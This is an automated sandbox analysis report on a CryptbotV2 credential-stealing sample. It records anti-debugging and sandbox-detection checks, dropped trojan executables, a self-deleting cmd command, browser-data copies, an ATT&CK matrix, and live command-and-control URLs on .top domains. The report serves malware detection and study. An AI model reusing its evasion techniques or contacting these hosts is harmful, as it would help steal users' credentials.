Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior

Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 1icHGAo2uY.exe, 00000000.00000003.263461682.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ehgFST8
Source: 1icHGAo2uY.exe, 00000000.00000003.263461682.0000000001696000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ehgFST8h
Source: 1icHGAo2uY.exe, 00000000.00000002.300878321.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout -t 5	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId			Jump to behavior
Source: C:\Users\user\Desktop\1icHGAo2uY.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId			Jump to behavior

Stealing of Sensitive Information

Yara detected CryptbotV2

Source: Yara match	File source: 00000000.00000002.298813798.0000000001480000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1icHGAo2uY.exe PID: 5420, type: MEMORYSTR

Remote Access Functionality

Yara detected CryptbotV2

Source: Yara match	File source: 00000000.00000002.298813798.0000000001480000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1icHGAo2uY.exe PID: 5420, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 Input Capture	521 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	33 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	213 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	53 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 File Deletion	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1icHGAo2uY.exe	54%	ReversingLabs	Win32.Backdoor.Androm
1icHGAo2uY.exe	100%	Avira	HEUR/AGEN.1234147

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe	63%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe	63%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.1icHGAo2uY.exe.940000.0.unpack	100%	Avira	HEUR/AGEN.1234147	Download File
8.2.endyma.exe.a70000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
13.2.DpEditor.exe.110000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
8.0.endyma.exe.a70000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.DpEditor.exe.110000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.1icHGAo2uY.exe.940000.0.unpack	100%	Avira	HEUR/AGEN.1234147	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://fs.microsoft.c	0%	URL Reputation	safe
http://pefejo12.top/gate.php	0%	Avira URL Cloud	safe
http://vupmex01.top/endyma.dat	0%	Avira URL Cloud	safe
http://vupmex01.top/endyma.datt4	0%	Avira URL Cloud	safe
http://vupmex01.top/endyma.datBi	0%	Avira URL Cloud	safe
http://vupmex01.top/endyma.datwi	0%	Avira URL Cloud	safe
http://vupmex01.top/	0%	Avira URL Cloud	safe
http://vupmex01.top/endyma.dat~i	0%	Avira URL Cloud	safe
http://pefejo12.top/gate.php0	0%	Avira URL Cloud	safe
http://vupmex01.top/endyma.datR	0%	Avira URL Cloud	safe
http://pefejo12.top/gate.phpe4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vupmex01.top	141.8.199.69	true	false		unknown
pefejo12.top	80.76.42.141	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://pefejo12.top/gate.php	true	Avira URL Cloud: safe	unknown
http://vupmex01.top/endyma.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://vupmex01.top/endyma.datt4	1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	4CD0.tmp.0.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	false		high
https://duckduckgo.com/chrome_newtab	1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	false		high
https://duckduckgo.com/ac/?q=	4CD0.tmp.0.dr	false		high
https://fs.microsoft.c	1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	false		high
http://vupmex01.top/endyma.datBi	1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vupmex01.top/endyma.dat~i	1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vupmex01.top/	1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4CD0.tmp.0.dr	false		high
http://vupmex01.top/endyma.datwi	1icHGAo2uY.exe, 00000000.00000002.300878321.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.288636351.00000000016BD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	false		high
http://vupmex01.top/endyma.datR	1icHGAo2uY.exe, 00000000.00000003.288483224.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	4CD0.tmp.0.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	1icHGAo2uY.exe, 00000000.00000002.302615894.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 1icHGAo2uY.exe, 00000000.00000003.252642958.0000000003C11000.00000004.00000800.00020000.00000000.sdmp, 4CD0.tmp.0.dr	false		high
http://pefejo12.top/gate.php0	1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pefejo12.top/gate.phpe4	1icHGAo2uY.exe, 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.76.42.141	pefejo12.top	Russian Federation		59504	HostingvpsvilleruRU	true
141.8.199.69	vupmex01.top	Russian Federation		35278	SPRINTHOSTRU	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	725299
Start date and time:	2022-10-18 13:26:55 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	1icHGAo2uY.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/34@2/2
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 100% (good quality ratio 50%) Quality average: 41% Quality standard deviation: 41%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Execution Graph export aborted for target endyma.exe, PID 2216 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 1icHGAo2uY.exe

Simulations

Behavior and APIs

Time	Type	Description
13:28:17	API Interceptor	1x Sleep call for process: endyma.exe modified
13:28:20	API Interceptor	1x Sleep call for process: DpEditor.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HostingvpsvilleruRU	kdevtmpfsi	Get hash	malicious	Browse	185.156.179.225
	library.exe	Get hash	malicious	Browse	185.246.118.93
	4RVtkURAqq.exe	Get hash	malicious	Browse	45.139.186.190
	KKka6nCLv1.exe	Get hash	malicious	Browse	185.230.143.91
	7HrTr8NUXz.exe	Get hash	malicious	Browse	185.230.143.91
	TNanO2MDOi	Get hash	malicious	Browse	185.246.118.192
	Cm82m1jO09	Get hash	malicious	Browse	185.246.118.190
	4.c.VIRUS	Get hash	malicious	Browse	185.156.179.225
	kdevtmpfsi_VIRUS	Get hash	malicious	Browse	185.156.179.225
	dQO3A6iEc0.exe	Get hash	malicious	Browse	185.118.66.175
	BbiDeFmLgj.exe	Get hash	malicious	Browse	45.139.186.190
	MBbJxOcnhQ.exe	Get hash	malicious	Browse	45.139.186.93
	8eDbJXHJD9.xll	Get hash	malicious	Browse	45.139.186.93
	kinsing	Get hash	malicious	Browse	185.156.179.225
	4KIrc3ItBc.exe	Get hash	malicious	Browse	185.254.190.47
	zCFGhY9Vs9	Get hash	malicious	Browse	185.246.118.197
	0BDEA16873EC63229169E9F1ECD3DCB4DD503B1DB675B.exe	Get hash	malicious	Browse	80.76.42.45
	162AB00C0E943F9548B04F3437867508656480585369C.exe	Get hash	malicious	Browse	185.230.143.16
	658C50B49AF49975E3A4BC1FA44337BB72DCF86B49DEE.exe	Get hash	malicious	Browse	185.230.143.237
	4FrmE2eISa	Get hash	malicious	Browse	185.246.118.195

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\48A5.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	6.070450595764585
Encrypted:	false
SSDEEP:	1536:w71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyio:w711NyBTOgd0HhmAnhqj38
MD5:	173332062280F41D1D6B2153CD4EF1E7
SHA1:	1B9EF44EB0ECFE698A65CF509FFE8515CA1DF5A1
SHA-256:	FF2185350633253C94AFBB1AA08BFF4F13909CA0FE5D23C39B94CCB35E31D2C6
SHA-512:	605E99597F0D3EB2D94C29BBE3A8BDC642D45109C3AA9068EDDCFD7824D47ABA7EA4A1856FC5EBC43731C035E7A22FF525829DDD10C0E1B501A8F3727DA6E7B1
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66068930960997e+12,"network":1.660656896e+12,"ticks":412519842.0,"uncertainty":1508546.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAD5yRpyxHTvRo045wUdD0XcAAAAAAIAAAAAABBmAAAAAQAAIAAAABLbexqB/oExTFJmpcENOvX+bVETIkvlcZMf3oIBvp2bAAAAAA6AAAAAAgAAIAAAAAb9GGQ1QmHgGBymkKDudOpZA89StPbsfruaqqGAbN50MAAAALDWaloNNJZN9rwnlUq/XLN9khJ9Jz9md9VO4rX+Yg+g8mRS88Enlg3B2TpBYYNjwkAAAACddQYw45aj+S/8dGnDKvRWon1T/sv/0i6HXgLXg0I1kMUaef/c6zqkTQ7ehiG3nkSfg6dR/4o1Z

C:\Users\user\AppData\Local\Temp\4A3C.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:YNDYsp+:YND2
MD5:	BE5DD481C61E2B68E59A586D1226CA82
SHA1:	6A656AA1A7BDECC0EEBE7F20ED6A342635CDB938
SHA-256:	C67092D05B4F5A91EFBE49DC5E6C03C157FE74417F0E3602332B8DFA63B2C4D2
SHA-512:	E39A218E0FAA03CF63C5825FABCA7EF4C163F1D8FB6D5AA938BD16D32E98B8EB08DD29E9D2FD428BA08D9F7E4CBEC5D19F46F4414E4D13833D3C8C3BCB372A98
Malicious:	false
Preview:	....C..0.f=@.&.......M....K...R

C:\Users\user\AppData\Local\Temp\4B08.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4393511334109407
Encrypted:	false
SSDEEP:	24:TLqlj1czkwubXYFpFNYcw+6UwcYzHrSl:TyxcYwuLopFgU1YzLSl
MD5:	8C31C5487A97BBE73711C5E20600C1F6
SHA1:	D4D6B04226D8FFC894749B3963E7DB7068D6D773
SHA-256:	A1326E74262F4B37628F2E712EC077F499B113181A1E937E752D046E43F1689A
SHA-512:	394391350524B994504F4E748CCD5C3FA8EF980AED850A5A60F09250E8261AC8E300657CBB1DBF305729637BC0E1F043E57799E2A35C82EEA3825CE5C9E7051D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4B96.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.47881670276786453
Encrypted:	false
SSDEEP:	96:eVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:eVK+H3HDi9GN6IVj3XBBE3u
MD5:	C8A54C5A54BC6D813A12E47887D86821
SHA1:	98DDD99BBA14B47B75D4F8A53792221D162483FC
SHA-256:	00E175AD7C78A730A2754729174655A8686A663E878B88564F1D6164746FCF86
SHA-512:	BBC033381816DE6A86F34917F4A13486BE35DE0A4C4FD94EBF1306CDB106331C3417051B4269BA182D6410629513C92EB2700CCF6FDF4CF6415696B15C97ED51
Malicious:	false
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4C33.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4CD0.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2889923589460437
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJP/6oVuss8Ewn7PrH944:QS/inXrVuss8Ewn7b944
MD5:	7901DD9DF50A993306401B7360977746
SHA1:	E5BA33E47A3A76CC009EC1D63C5D1A810BE40521
SHA-256:	1019C8ADA4DA9DEF665F59DB191CA3A613F954C12813BE5907E1F5CB91C09BE9
SHA-512:	90C785D22D0D7F5DA90D52B14010719A5554BB5A7F0029C3F4E11A97AD72A7A600D846174C7B40D47D24B0995CDBAC21E255EC63AC9C07CF6E106572EA181DD5
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4D5E.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:YNDYsp+:YND2
MD5:	BE5DD481C61E2B68E59A586D1226CA82
SHA1:	6A656AA1A7BDECC0EEBE7F20ED6A342635CDB938
SHA-256:	C67092D05B4F5A91EFBE49DC5E6C03C157FE74417F0E3602332B8DFA63B2C4D2
SHA-512:	E39A218E0FAA03CF63C5825FABCA7EF4C163F1D8FB6D5AA938BD16D32E98B8EB08DD29E9D2FD428BA08D9F7E4CBEC5D19F46F4414E4D13833D3C8C3BCB372A98
Malicious:	false
Preview:	....C..0.f=@.&.......M....K...R

C:\Users\user\AppData\Local\Temp\4D8E.tmp

Download File

Process:	C:\Users\user\Desktop\1icHGAo2uY.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5711805239155107
Encrypted:	false
